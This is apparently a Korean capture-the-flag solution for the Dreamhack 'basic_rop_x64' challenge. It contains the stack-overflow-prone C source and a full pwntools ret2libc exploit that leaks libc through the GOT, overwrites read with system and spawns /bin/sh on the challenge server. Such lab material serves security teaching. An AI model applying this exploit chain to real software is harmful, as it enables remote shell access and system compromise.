#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf와 rbp 사이의 바이트 수를 구해야 한다.
read 함수 호출 직전에 rsi 레지스터로 rbp-0x40 주소가 들어가는 것을 확인할 수 있다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#p = process("./basic_rop_x64")
p = remote("host3.dreamhack.games", 9562)
e = ELF("./basic_rop_x64")
lib = ELF("./libc.so.6")
rop = ROP(e)
payload = b""
payload += b"A"*0x40
payload += b"A"*8
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rdi = rop.rdi[0]
pop_rsi_x15 = rop.rsi[0]
# write(1, read_got, 8)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_x15)
payload += p64(read_got)
payload += b"A"*8
payload += p64(write_plt)
# read(0, read_got, 16)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_x15)
payload += p64(read_got)
payload += b"A"*8
payload += p64(read_plt)
# system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+8)
payload += p64(read_plt)
p.send(payload)
p.recvn(0x40)
read_lib = u64(p.recvn(6) + b"\x00"*2)
lib_base = read_lib - lib.symbols["read"]
system_lib = lib_base + lib.symbols["system"]
slog("read_lib", read_lib)
slog("lib_base", lib_base)
slog("sytem_lib", system_lib)
p.recv(1024)
p.send(p64(system_lib) + b"/bin/sh\n")
p.interactive()